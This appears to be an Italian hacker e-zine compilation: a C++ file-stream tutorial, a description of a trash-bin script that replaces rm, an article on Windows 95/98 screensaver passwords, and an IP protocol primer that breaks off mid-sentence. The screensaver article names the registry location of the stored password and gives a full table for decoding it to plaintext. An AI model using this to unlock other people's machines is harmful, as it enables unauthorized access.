Gli headers principali sono per operazioni I/O su stream sono iostream.h e fstream.h .

iostream.h ( che conosceranno tutti ) contiene le dichiarazioni delle classi di I/O
coem ostream, istream, streambuf , degli oggetti cin, cout, clog, le dichiarazioni
di overloading ( se non sapete cos'e' fate una ricerca sulla sovrapposizione delgi operatori )
degli operatori << e >> e tante altre funzioni.

fstream.h invece contiene le dichiarazioni e le definizioni di elementi
correlati con operazioni di I/O su file.
Definisce classi come fstream, ofstream, ifstream, filebuf ed inoltre dichiara varie funz
membro di tali classi.

Scommetto che avrete un gran casino in testa ora no?? ihih...
cmq ora cominciamo su come operare su sti stream e sicuramente avrete tutto +

  
chiaro.
Allora, come apriamo un file in input?¿?¿? cosi':

ifstream fileIN ("c:\windows\file.txt");

Mi pare chiaro no??? ( se non sapete le classi non ci posso fare nulla, questo e' un articolo
sugli stream :) creiamo un oggetto ( fileIN ) della classe ifstream, prelevata ovviamente
dall'header fstream.h .
per aprirlo in output bastera' chiamare la classe inversa:

ofstream fileOUT ("c:\windows\file.txt");

bene, possiamo pero' inserire qualche funzioncina di ios che non fanno mai male?? =)

in //apertura in lettura
out //secondo te??
app //modalita' append: aggiunge file dalla fine
ate //apre e posiziona alla fine del file
trunc //tronca un file
nocreate //se il file non esiste l'apertura fallisce
noreplace //se il file esiste l'apertura fallisce
binary //modalita' binaria ( eccetto UNIX )

voi direte... come si usano??? coZi':

ifstream file1 ("c:\1.txt", ios::binary);
ofstream file2 ("c:\2.txt", ios::nocreate);
fstream file3 ("c:\3.txt", ios::in | ios::out); //apre il lettura/scrittura

questi esempi si commentano da soli... quindi non ci metto bocca.

Per controllare se il file e' stato aperto/creato ecc... bisogna controllare direttamente
su il valore dell'oggetto.
esempio:

ifstream file1("q:\pippo.txt");
if (!file1)
cout<<"ERRORE \n";

Fate attenzione perche' in questo caso avverra' un overloading dell'operatore ! infatti
non fara' piu' una la sua utilita' di default ma chiamera' una funzione membro
della classe. In pratica restituira' true in caso di fallimento mentre restituira' false
in caso di successo.
Non chiedetemi perche'... non l'ho programmate io quelle classi =)

Ora passiamo alla lettura/scrittura et simili su stream ( D+ non mi piace + ) ehehehehe

ci sono parecchie funzioni, allora:

oggetto.get(char &c); //penso non ci sia bisogno di spiegarla :]
oggetto.putback(char); //reinserisce un carattere nel buffer di input
variabileX=oggetto.peek(); //legge un carattere senza estrarlo dal buffer

queste sono quelli + semplici, quelle + importanti sono:

oggetto.getline(buf,100,'\n');
//legge dal buffer, scrive su buffino a che non trova il carriage return
oppure fino a 99 caratteri.
N.B.= il terzo parametro e' opzionale, di default viene utilizzato lo stesso.
Il carattere di fine stringa ( con la precedente funzione ) viene scambiato con \0.
esempio:
se una chiamata come quella di prima viene fatta su un buffer del genere
BUFFER --> abc\n
troveremo nella nostra variabile abc\0
Ok?? :)

allora, altra funzione.... =)

oggetto.read(buf,100);

qui leggiamo da file 100 byte e li mettiamo in buf.

oggetto.read(buf,n*sizeof(double));

qui invece?? eheh...leggiamo n valori double, ovvero 8*n byte. =)
ah.. ricordatevi che qui non viene inserito \0!!!!!

una funzioncina abbastanza importante e' gcount(), con questa ci viene restituito il numero
elementi letti nell'ultima istruzione di input.

variabileX=oggetto.gcount();

Passiamo alla scrittura ora! :)
allora:
oggetto.put(char c); //niente spiegazione ok? ihihihihi

oggetto.write(buf,100); //stessa roba della versione read in input ^__^

oggetto.flush(); //vuotiamo il buffer di output.

Ok, siccome non ho + voglia di staa scrivere.. per ora stop!!!
Fin qui abbastanza facile... magari poi vi parlo anche del resto:
overloading di << e >>, e magari anche dei test dello stato dell' I/O. =)
alla proxima,
hi]tech[

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

************************************
*** Trash_Bin Remover by [RequieM] ***
************************************

/* lo script-language risulta talvolta difficoltoso */
/* a causa del rapporto sintassi-spazi , non regolamentato */
/* lo script allegato e' "beta" perche' non serio */

Questo e' l'ultimo articolo , credo , sullo script-language perche' ne sono
stati utilizzati praticamente tutti i comandi .

Lo script di seguito vuole essere una sorta di cestino in cui viene
automaticamente depositato tutto cio' che viene eliminato .
Un'implementazione utile poteva essere quella della compressione dei dati
eliminati ma cio' avrebbe apportato un carico maggiore alla macchina su cui
gira il programma ed un carico di lavoro maggiore .

Trash_Bin Remover ritengo sia abbastanza utile ma non versatile .

Di seguito sono riportate le modalita' d'uso :


La "DateDir" e' 1a di quelle dir che appaiono passando a questo prog "-l"
, il suo formato e' ore_minuti_secondi___giorno_mese_anno


-f | --first-run Per Installare lo script .

-d | --uninstall Per Disinstallare lo script .

-c | --clean Svuota il cestino .

-l | --list Elenca le directory (hh/mm/ss gg/mm/yy) contenenti i
files eliminati .

-lf | --list-find cerca nel cestino il file in maniera "case-insensitive"
e chiede , dopo averli localizzati , se deve spostarli
nella $HOME

-r | --reconvert Se si vuole REinstallare lo script bisogna passargli l'opz
(se il prog e' nella bin con il prog rm) "rim -r" .
Lo script rinominera' il prog rm come rim e se stesso come rm.
Se si vuole DISintallare questo script bastera' quindi
passargli l'opzione (se il prog e' nella bin con il prog
rm rinominato in rim) "rm -r" e rinominera' rm (rim) in
rm e rm (Trash_Bin Remover) in rim .

-u | --undo "rm [-u | --undo] DateDir PATH" sposta il contenuto
della DateDir/quello_che_voglio_io , presente nel cestino (rm -l)
nella dir desiderata . Nota: non occorre dare il path completo del
cestino ma solo il nome della DateDir .

-s | --size Prompta sull screen la dimensione in "k" di ogni file
contenuto nel cestino e la sua dimensione totale .

/* [RequieM] */
/* requiem@freemail.it */

NOTA BY N0bodY88-ooo : il sorgente del Trash Bin Remover di [Requiem] lo
trovate tra gli allegati nello zip di NewBies 6.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°ÛÛ°°°°°°ÛÛ°ÛÛÛÛÛÛÛ°°°°°°°ÛÛ°°°°ÛÛ°ÛÛ°ÛÛÛÛÛ°°°°°ÛÛÛÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°ÛÛÛ°°°°ÛÛÛ°ÛÛ²²²ÛÛ°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ²²ÛÛÛ°°°Û°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°ÛÛ°Û°°Û°ÛÛ°ÛÛÛÛÛÛÛ°°°°°°°ÛÛÛÛÛÛÛÛ°ÛÛ°ÛÛ²²²²ÛÛ°°ÛÛÛ°°°°°°°°°°°°°°°°°°²
²°°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°°°°°°°°ÛÛ°°°°ÛÛ°ÛÛ°ÛÛ²²ÛÛÛ°°°Û°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°ÛÛ°°°°°°ÛÛ°ÛÛ°°ÛÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛ°ÛÛ°ÛÛÛÛÛ°°°°°ÛÛÛÛÛ°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

-------------------------------------------------------------------------------
L A P A S S W O R D D E L L O S C R E E N S A V E R D I W I N D O W S
-------------------------------------------------------------------------------

Questo articolo spiega come funziona la password dello screensaver di windows.
In win98 e in wi95sr2 si trova nel registry.
Questo metodo permette di riportare in chiaro la password, diciamo in modo
manuale. Non viene utilizzato l' algoritmo di criptazione, ma funziona
comunque al 100%. Partiamo subito.

La password non' e' case-sensitive, e si trova salvata nel registry,
precisamente in :

HKEY_CURRENT_USER\Control Panel\Desktop\"ScreenSave_Data"

>La password e' criptata, ma questo non ci fermera' :-)

Ecco qui' qualche esempio utile:

Password Dove Contenuto
| | |
aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00
abbb "ScreenSave_Data"=hex:30,39,41,43,33,34,35,46,00
aaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,00
aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00
bbbbb "ScreenSave_Data"=hex:30,41,41,43,33,34,35,46,32,35,00
000 "ScreenSave_Data"=hex:37,38,44,45,34,36,00
001 "ScreenSave_Data"=hex:37,38,44,45,34,37,00
111 "ScreenSave_Data"=hex:37,39,44,46,34,37,00
978 "ScreenSave_Data"=hex:37,31,44,39,34,45,00
978bba"ScreenSave_Data"=hex:37,31,44,39,34,45,35,46,32,35,32,38,00
506 "ScreenSave_Data"=hex:37,44,44,45,34,30,00
bba "ScreenSave_Data"=hex:30,41,41,43,33,37,00
0 "ScreenSave_Data"=hex:37,38,00
1 "ScreenSave_Data"=hex:37,39,00
2 "ScreenSave_Data"=hex:37,41,00
3 "ScreenSave_Data"=hex:37,42,00
4 "ScreenSave_Data"=hex:37,43,00
41 "ScreenSave_Data"=hex:37,43,44,46,00
a "ScreenSave_Data"=hex:30,39,00
circo "ScreenSave_Data"=hex:30,42,41,37,32,34,35,45,32,38,00

La password criptata e' composta da una serie di numeri di 2 cifre.
Si puo' notare che se la password in chiaro e' formata da N caratteri
la stessa password criptata sara' formata da N numeri*2+1.
Siccome tutte finiscono con 00, allora scarteremo questo ultimo
numero (00) e quindi intuitivamente si capisce che ogni carattere
non criptato e' poi rappresentato da 2 numeri di 2 cifre.
Come procedere ora? Prepararsi qualche esempio (vedi sopra)
e cercare di intravedere il criterio con qui sono disposti i numeri.
Procediamo ora con l' aiuto degli esempi :

aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00

aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00
|__________||____||____|
Uguale Cambia Uguale


Capiamo che 30,39 41,46 33,37 35,43 criptano tutte la "a" .
quindi i numeri per uno stesso carattere cambiano in base alla posizione del
carattere nella stringa della password.

Allora procederemo nel seguente modo : daremo come password dello screensaver
aaaaaaaaaaaa. troveremo poi nel registry (sai gia' dove) i valori che traducono
la "a" nelle varie posizioni. Procederemo cosi' per tutti i caratteri che
riteniamo
possano essere presenti nella password. E' un lavoraccio, ma va'
fatto.
Ringraziami..... (Alla fine dell' articolo c'e' una tabella....)

ora riesaminiamo gli esempi sopra visti tenendo presente la tabella e...

Pos. 12345
|||||
Es.1 aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00
||||
Es.2 aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00

Es1:
il carattere in posizione 1 verra' criptato con la prima coppia di numeri della
tabella ovviamente della riga del carattere in questione... e cosi' via.
Il carattere in posizione 3 verra' criptato con la 3° coppia di numeri della
tabella nella riga del carattere (quindi il 5° e il 6° numero).

Es2:
Il carattere in posizione 4 e' la 3° "a" della stringa "aaba", ma a noi questo
non interessa, a noi serve sapere solo che occupa la posizione 4.


La tavola Potra' essere usata per decriptare i primi 12 caratteri della
password. Piu' che sufficente...

----------------------------------------------------------------------------
TAVOLA
----------------------------------------------------------------------------

1 2 3 4 5 6 7 8 9 10 11 12
_____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ ..

@:30 38 41 45 33 36 35 44 32 37 32 39 45 31 35 42 33 41 43 43 30 37 42 38 00
A:30 39 41 46 33 37 35 43 32 36 32 38 45 30 35 41 33 42 43 44 30 36 42 39 00
B:30 41 41 43 33 34 35 46 32 35 32 42 45 33 35 39 33 38 43 45 30 35 42 41 00
C:30 42 41 44 33 35 35 45 32 34 32 41 45 32 35 38 33 39 43 46 30 34 42 42 00
D:30 43 41 41 33 32 35 39 32 33 32 44 45 35 35 46 33 45 43 38 30 33 42 43 00
E:30 44 41 42 33 33 35 38 32 32 32 43 45 34 35 45 33 46 43 39 30 32 42 44 00
F:30 45 41 38 33 30 35 42 32 31 32 46 45 37 35 44 33 43 43 41 30 31 42 45 00
G:30 46 41 39 33 31 35 41 32 30 32 45 45 36 35 43 33 44 43 42 30 30 42 46 00
H:30 30 41 36 33 45 35 35 32 46 32 31 45 39 35 33 33 32 43 34 30 46 42 30 00
I:30 31 41 37 33 46 35 34 32 45 32 30 45 38 35 32 33 33 43 35 30 45 42 31 00
J:30 32 41 34 33 43 35 37 32 44 32 33 45 42 35 31 33 30 43 36 30 44 42 32 00
K:30 33 41 35 33 44 35 36 32 43 32 32 45 41 35 30 33 31 43 37 30 43 42 33 00
L:30 34 41 32 33 41 35 31 32 42 32 35 45 44 35 37 33 36 43 30 30 42 42 34 00
M:30 35 41 33 33 42 35 30 32 41 32 34 45 43 35 36 33 37 43 31 30 41 42 35 00
N:30 36 41 30 33 38 35 33 32 39 32 37 45 46 35 35 33 34 43 32 30 39 42 36 00
O:30 37 41 31 33 39 35 32 32 38 32 36 45 45 35 34 33 35 43 33 30 38 42 37 00
P:31 38 42 45 32 36 34 44 33 37 33 39 46 31 34 42 32 41 44 43 31 37 41 38 00
Q:31 39 42 46 32 37 34 43 33 36 33 38 46 30 34 41 32 42 44 44 31 36 41 39 00
R:31 41 42 43 32 34 34 46 33 35 33 42 46 33 34 39 32 38 44 45 31 35 41 41 00
S:31 42 42 44 32 35 34 45 33 34 33 41 46 32 34 38 32 39 44 46 31 34 41 42 00
T:31 43 42 41 32 32 34 39 33 33 33 44 46 35 34 46 32 45 44 38 31 33 41 43 00
U:31 44 42 42 32 33 34 38 33 32 33 43 46 34 34 45 32 46 44 39 31 32 41 44 00
V:31 45 42 38 32 30 34 42 33 31 33 46 46 37 34 44 32 43 44 41 31 31 41 45 00
W:31 46 42 39 32 31 34 41 33 30 33 45 46 36 34 43 32 44 44 42 31 30 41 46 00
X:31 30 42 36 32 45 34 35 33 46 33 31 46 39 34 33 32 32 44 34 31 46 41 30 00
Y:31 31 42 37 32 46 34 34 33 45 33 30 46 38 34 32 32 33 44 35 31 45 41 31 00
Z:31 32 42 34 32 43 34 37 33 44 33 33 46 42 34 31 32 30 44 36 31 44 41 32 00
[:31 33 42 35 32 44 34 36 33 43 33 32 46 41 34 30 32 31 44 37 31 43 41 33 00
\:31 34 42 32 32 41 34 31 33 42 33 35 46 44 34 37 32 36 44 30 31 42 41 34 00
]:31 35 42 33 32 42 34 30 33 41 33 34 46 43 34 36 32 37 44 31 31 41 41 35 00
^:31 36 42 30 32 38 34 33 33 39 33 37 46 46 34 35 32 34 44 32 31 39 41 36 00
_:31 37 42 31 32 39 34 32 33 38 33 36 46 45 34 34 32 35 44 33 31 38 41 37 00
`:32 38 38 45 31 36 37 44 30 37 30 39 43 31 37 42 31 41 45 43 32 37 39 38 00
{:33 33 39 35 30 44 36 36 31 43 31 32 44 41 36 30 30 31 46 37 33 43 38 33 00
|:33 34 39 32 30 41 36 31 31 42 31 35 44 44 36 37 30 36 46 30 33 42 38 34 00
}:33 35 39 33 30 42 36 30 31 41 31 34 44 43 36 36 30 37 46 31 33 41 38 35 00
~:33 36 39 30 30 38 36 33 31 39 31 37 44 46 36 35 30 34 46 32 33 39 38 36 00
:36 38 43 45 35 36 33 44 34 37 34 39 38 31 33 42 35 41 41 43 36 37 44 38 00
!:36 39 43 46 35 37 33 43 34 36 34 38 38 30 33 41 35 42 41 44 36 36 44 39 00
":36 41 43 43 35 34 33 46 34 35 34 42 38 33 33 39 35 38 41 45 36 35 44 41 00
#:36 42 43 44 35 35 33 45 34 34 34 41 38 32 33 38 35 39 41 46 36 34 44 42 00
$:36 43 43 41 35 32 33 39 34 33 34 44 38 35 33 46 35 45 41 38 36 33 44 43 00
%:36 44 43 42 35 33 33 38 34 32 34 43 38 34 33 45 35 46 41 39 36 32 44 44 00
&:36 45 43 38 35 30 33 42 34 31 34 46 38 37 33 44 35 43 41 41 36 31 44 45 00
':36 46 43 39 35 31 33 41 34 30 34 45 38 36 33 43 35 44 41 42 36 30 44 46 00
(:36 30 43 36 35 45 33 35 34 46 34 31 38 39 33 33 35 32 41 34 36 46 44 30 00
):36 31 43 37 35 46 33 34 34 45 34 30 38 38 33 32 35 33 41 35 36 45 44 31 00
*:36 32 43 34 35 43 33 37 34 44 34 33 38 42 33 31 35 30 41 36 36 44 44 32 00
+:36 33 43 35 35 44 33 36 34 43 34 32 38 41 33 30 35 31 41 37 36 43 44 33 00
,:36 34 43 32 35 41 33 31 34 42 34 35 38 44 33 37 35 36 41 30 36 42 44 34 00
-:36 35 43 33 35 42 33 30 34 41 34 34 38 43 33 36 35 37 41 31 36 41 44 35 00
.:36 36 43 30 35 38 33 33 34 39 34 37 38 46 33 35 35 34 41 32 36 39 44 36 00
/:36 37 43 31 35 39 33 32 34 38 34 36 38 45 33 34 35 35 41 33 36 38 44 37 00
::37 32 44 34 34 43 32 37 35 44 35 33 39 42 32 31 34 30 42 36 37 44 43 32 00
;:37 33 44 35 34 44 32 36 35 43 35 32 39 41 32 30 34 31 42 37 37 43 43 33 00
<:37 34 44 32 34 41 32 31 35 42 35 35 39 44 32 37 34 36 42 30 37 42 43 34 00
=:37 35 44 33 34 42 32 30 35 41 35 34 39 43 32 36 34 37 42 31 37 41 43 35 00
>:37 36 44 30 34 38 32 33 35 39 35 37 39 46 32 35 34 34 42 32 37 39 43 36 00
0:37 38 44 45 34 36 32 44 35 37 35 39 39 31 32 42 34 41 42 43 37 37 43 38 00
1:37 39 44 46 34 37 32 43 35 36 35 38 39 30 32 41 34 42 42 44 37 36 43 39 00
2:37 41 44 43 34 34 32 46 35 35 35 42 39 33 32 39 34 38 42 45 37 35 43 41 00
3:37 42 44 44 34 35 32 45 35 34 35 41 39 37 37 38 34 39 42 46 37 34 43 42 00
4:37 43 44 41 34 32 32 39 35 33 35 44 39 35 32 46 34 45 42 38 37 33 43 43 00
5:37 44 44 42 34 33 32 38 35 32 35 43 39 34 32 45 34 46 42 39 37 32 43 44 00
6:37 45 44 38 34 30 32 42 35 31 35 46 39 37 32 44 34 43 42 41 37 31 43 45 00
7:37 46 44 39 34 31 32 41 35 30 35 45 39 36 32 43 34 44 42 42 37 30 43 46 00
8:37 30 44 36 34 45 32 35 35 46 35 31 39 39 32 33 34 32 42 34 37 46 43 30 00
9:37 31 44 37 34 46 32 34 35 45 35 30 39 38 32 32 34 33 42 35 37 45 43 31 00
á:38 39 32 46 42 37 44 43 41 36 41 38 36 30 44 41 42 42 34 44 38 36 33 39 00
Ä:38 43 32 41 42 32 44 39 41 33 41 44 36 35 44 46 42 45 34 38 38 33 33 43 00
Ü:39 34 33 32 41 41 43 31 42 42 42 35 37 44 43 37 41 36 35 30 39 42 32 34 00
ý:39 35 33 33 41 42 43 30 42 41 42 34 37 43 43 36 41 37 35 31 39 41 32 35 00
Ö:39 45 33 38 41 30 43 42 42 31 42 46 37 37 43 44 41 43 35 41 39 31 32 45 00
§:45 46 34 39 44 31 42 41 43 30 43 45 30 36 42 43 44 44 32 42 45 30 35 46 00
°:46 38 35 45 43 36 41 44 44 37 44 39 31 31 41 42 43 41 33 43 46 37 34 38 00
²:46 41 35 43 43 34 41 46 44 35 44 42 31 33 41 39 43 38 33 45 46 35 34 41 00
³:46 42 35 44 43 35 41 45 44 34 44 41 31 32 41 38 43 39 33 46 46 34 34 42 00
´:46 43 35 41 43 32 41 39 44 33 44 44 31 35 41 46 43 45 33 38 46 33 34 43 00
µ:46 44 35 42 43 33 41 38 44 32 44 43 31 34 41 45 43 46 33 39 46 32 34 44 00

----------------------------------------------------------------------------

Spero di essere stato sufficentemente esauriente e chiaro, ma per qualsiasi
motivo puoi contattarmi a JuxWell@hushmail.com

--AndThen--

Un saluto a :
Ax1s,Fake,N0b0dy88,[RequieM],TheDuke,Ergoline,Zero,debian
b-cen,jaMMiNa,NighTiger,Gourry,Java,vaffa,CyberBrown,HtB,...
e a chi non'ho nominato :-)

Per qualsiasi motivo --> JuxWell@freemail.it

Byez all |-|-| Jux*JuxWell

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

********************************************************************
QUESTO TESTO DEVE INTENDERSI COME PURAMENTE INFORMATIVO, PERCIO'
L'AUTORE, SCREENER_it, DECLINA OGNI RESPONSABILITA' DALL'USO CHE POTREBBE
ESSERNE FATTO. L'AUTORE, DUNQUE, NON INCORAGGIA CHI VOLESSE SERVIRSENE
PER SCOPI ILLEGALI.
*********************************************************************


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ INTERNET PROTOCOL ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Perche' questo stress di proporizioni immani ? perche' questa rottura di balle
a livello mostruoso? Semplicemente perche' se un giorno, nel vostro remoto
futuro la vostra smania di smanettoni vi portera' verso nuove frontiere
anche chiamate "
ip spoofing, raw socket ect ect " avrete bisogno di "knoware"
i vari protocolli ed i rispettivi metodi di trasmissione.Non vi frega un caxxo?
Morite nell'inferno dei LAMAH.

DeDDo To: la mia cucciolina :* (by Dante Alighieri)
Vs-DeD 2: la distanza...non quella fisica..ma quella degli animi..

Funzioni -> Addressing & Fragmentation
Routing -> Path della Trasmissione

Gli Internet Modules frammentano i pacchetti per la trasmissione dei dati e
li riassemblano usando i campi contenuti nell' Internet Header.
Un "
Model of Operation" risiede su ogni host e su ogni gateway. Esso ha la
funzione di interpretare gli "
Addresses", frammentare e riassemblare i
pacchetti.

L' IP tratta ogni pacchetto come indipendente e non correlato agli altri
ed usa 4 meccanismi per provvedere a questi servizi.

1) Type of Services -> E' usato per indicare la qualita' del servizio
desiderato. E' un set di parametri che serve a caratterizzare il servizio
scelto.Viene usato dai gateways per selezionare i parametri di trasmissione
per un particolare network.Serve ankora per stabilire il network da
utilizzare nel passo seguente o il prossimo gateway da cui l'internet
datagram passera' durante il suo routing.

2) Time to Live -> Indica il tempo di vita di un Internet Datagram.
Viene Stabilito da chi invia il datagramma e viene ridotto lungo la rotta che
percorre. Se diventa zero prima di raggiungere la destinazione, il datagramma
viene distrutto. Il "
TTL" puo' essere pensato come un tempo limite di
autodistruzione del datagramma.

3) Header Checksum -> Provvede a verificare che le informazioni usate per
processare il datagramma internet siano trasmesse correttamente ed a rilevare
il caso in cui i dati potrebbero contenere errori. SE l'"
HC" fallisce, il
datagramma viene scartato a seconda dell' entita' dell' errore.

L' IP non prevede una facilita' di comunicazione. Non ci sono controlli di
errore nei dati, tranne l'Header Checksum. Non esiste alcun controllo del
flusso dati.

Gli errori vengono riportati via "
Internet Control Message Protocol"(ICMP)
che e' implementato nell'"
Internet Protocol Module".

- Relazione con gli altri protocolli.

Il seguenta diagramma illustra il posto occupato dall' IP nella gerarchia dei protocolli:


+------+ +-----+ +-----+ +-----+
|Telnet| | FTP | | TFTP| ... | ... |
+------+ +-----+ +-----+ +-----+
| | | |
+-----+ +-----+ +-----+
| TCP | | UDP | ... | ... |
+-----+ +-----+ +-----+
| | |
+--------------------------+----+
| Internet Protocol & ICMP |
+--------------------------+----+
|
+---------------------------+
| Local Network Protocol |
+---------------------------+

l' IP interfaccia verso l'alto il protocollo host-to-host
e verso il basso il local network protocol.

2.2 Modelli di operativita'.

I modelli di operativita' per la trasmissione di un datagramma da un
applicazione ad un' altra sono illustrati nel seguente scenario:

SI suppone che questa trasmissione coinvolga un gateway di mezzo.

.Il programma mandante prepara i suoi dati e chiama il suo local internet
module per mandarli come datagramma. Quindi passa l'indirizzo di
destinazione e gli altri parametri al datagram.

.L'IM prepara un header per il datagramma e lo riempie con i dati.
Determina un indirizzo locale per l'host di destinazione, impersonato
nella fattispecie dal gateway.

.Manda questo datagramma con il local network address alla local network interface.

.Questo crea un header locale,gli attaca il datagramma e manda i risultati via local net.

.Il datagramma arriva al gateway indicato nell' header,il local network interface
spoglia questo header e gira il datagramma all' IM.

.L' IM determina dall' internet address se il datagramma deve essere
spedito ad un altro host in un secondo network. Determina un local address
per questo host e richiama la network interface trasmettendogli il
datagramma.

.La local network interface crea un header locale e gli attacca il datagramma
mandando i risultati all'host di destinazione.

.Il datagramma viene spogliato del local network address dalla LNI e passato all' IM

.L' IM determina a quale programma residente sull'host deve essere destinato
il datagramma. Passa il datagramma al programma in risposta a una chiamata
di sistema, passa l'indirizzo di provenienza e gli altri parametri come
risultato della chiamata.

-------------------PATH DELLA TRASMISSIONE -----------------------------------


Application Application
Program Program
\ /
Internet Module Internet Module Internet Module
\ / \ /
LNI-1 LNI-1 LNI-2 LNI-2
\ / \ /
Local Network 1 Local Network 2





2.3 Descrizione delle funzioni

La Funzione dell' Internet Protocol e' di spostare i detagrammi attraverso una serie
di network interconnessi. Questo e' fatto passando i datagrammi da un
internet module ad un altro fino a quando la destinazione non viene
raggiunta.
L'Internet module risiede negli hosts e nei gateways nel sistema
Internet. I datagrammi vengono trasportati da un internet module ad un
altro attraverso dei network individuali basati sull' interpretazione degli
internet address. Ne consegue che un importante meccanismo dell' Internet
Protocol e' proprio l'Internet Address.

Nel trasferimento di messaggi da un internet module ad un altro, i
datagrammi attraversano dei network il cui massimo pacchetto e' piu'
piccolo di quello del datagramma stesso. Per ovviare a questa difficolta',
l'Internet Protocol e' provvisto di una meccanismo di frammentazione.

Addressing

A questo punto si rende necessaria una distinzione fra names,address e
route.
Il name indica cio' che vogliamo raggiungere, l' address dove si
trova e la route il percorso da compiere per raggiungerlo.
L'Internet Protocol lavora prima di tutto sugli adresses. E' compito del
protocollo di livello superiore risalire dai nomi agli adresses.
L'Internet Module mappa gli internet adresses dei local net addresses.
E' compito del livello piu' basso mappare la rotta dal local net address.

Gli Addresses hanno una lunghezza di 4 byte (32 bits). Un address inizia con un
network number, seguito dal local address(chiamato campo "
rest"). Esistono tre
formati o classi di internet addresses:
Nella classe a,il bit piu' alto e' zero,gli altri 7 bit rappresentano il
network e gli ultimi 24 il local address;
Negli indirizzi di classe b i due bit piu' alti sono uno-zero,i seguenti 14
bit rappresentano il network e gli ultimi 16 il local address;
Nella classe c, i tre bit piu' alti sono uno-uno-zero, i seguenti 21 bit
rappresentano il network e gli ultimi 8 il local address.

Bisogna fare attenzione nel mappare gli internet addresses come
local net addresses. Un singolo host fisico potrebbe avere piu' hosts distinti
usando cosi' diversi Internet Addresses. Alcuni hosts hanno anche piu'
interfacce fisiche (multi homing).

Questo e'il caso assunto da un host composto da molte interfacce
fisiche in un network che ha piu' indirizzi logici.


Frammentazione

La Frammentazione deve essere attuata nel caso in cui un grosso pacchetto
passi attraverso un network che limita la dimensione dei pacchetti ad una
dimensione minore.

Un Internet Datagram puo' essere marcato come "
Don't Fragment".
Ogni datagramma cosi' marcato non viene frammentato in nessuna circostanza.
Se il datagramma marcato "
Don't Fragment" non puo' raggiungere la destinazione
senza essere frammentato viene scartato.

La Frammentazione,la trasmissione e il riassemblamento lungo un network
che e' invisibile all' internet Module viene chiamata frammentazione Intranet.

La procedura di frammentazione e riassemblamento Internet spezzetta i pacchetti
in un numero di pacchetti piu' piccoli che verranno riassemblati
successivamente. Il Ricevente dei pacchetti usa l'"
Identification Field" per
